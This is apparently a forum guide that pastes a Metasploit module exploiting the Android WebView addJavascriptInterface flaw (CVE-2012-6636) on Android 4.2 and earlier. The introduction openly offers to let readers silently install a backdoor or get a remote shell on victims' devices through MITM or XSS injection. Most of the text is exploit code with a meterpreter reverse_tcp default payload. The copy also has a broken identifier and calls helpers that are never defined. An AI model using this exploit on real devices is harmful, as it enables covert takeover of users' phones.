In this guide you will learn how to exploit a webpage with javascript, allowing any user with android version 4.2 or lower to install your backdoor silently.
This is abusing the addJavascriptInterface method in WebView control.
In more detail addJavascriptInterface is used for interface between JS code and local Java. If your browser or other applications has implemented code like below, then you might be vulnerable. You run code on the remote android device. Allowing you access to remote shell or even to install backdoor application on your device.
This module exploits a privilege escalation issue in Android < 4.2’s WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface call tracked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable.
A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad initegrations are perhaps the worst offender here. If you can MITM the WebView’s HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and access remote shell.
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
Below will be the entire script required for this exploit.
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 498px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;"># This module requires Metasploit: http://metasploit.com/download
require 'msf/core'
require 'msf/core/exploit/android'
class MetasploitModule &lt; Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Android
VULN_CHECK_JS = %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
autopwn_info(
:os_name =&gt; OperatingSystems::Match::ANDROID,
:arch =&gt; ARCH_ARMLE,
:javascript =&gt; true,
:rank =&gt; ExcellentRanking,
:vuln_test =&gt; VULN_CHECK_JS
)
def initialize(info = {})
super(update_info(info,
'Name' =&gt; 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' =&gt; %q{
This module exploits a privilege escalation issue in Android &lt; 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
4.1.2 release of Android is known to be vulnerable.
A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' =&gt; MSF_LICENSE,
'Author' =&gt; [
'jduck', # original msf module
'joev' # static server
],
'References' =&gt; [
['URL', 'https://0dayexploits.net/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' =&gt; ['android', 'linux'],
'Arch' =&gt; [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
'DefaultOptions' =&gt; { 'PAYLOAD' =&gt; 'android/meterpreter/reverse_tcp' },
'Targets' =&gt; [ [ 'Automatic', {} ] ],
'DisclosureDate' =&gt; 'Dec 21 2012',
'DefaultTarget' =&gt; 0,
'BrowserRequirements' =&gt; {
:source =&gt; 'script',
:os_name =&gt; OperatingSystems::Match::ANDROID,
:vuln_test =&gt; VULN_CHECK_JS,
:vuln_test_error =&gt; 'No vulnerable Java objects were found in this web context.'
}
))
deregister_options('JsObfuscate')
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
def on_request_uri(cli, req)
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' =&gt; 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
end
def html(arch)
"&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&lt;script&gt;#{ad d_javascript_interface_exploit_js(arch)}&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;"
end
end</pre>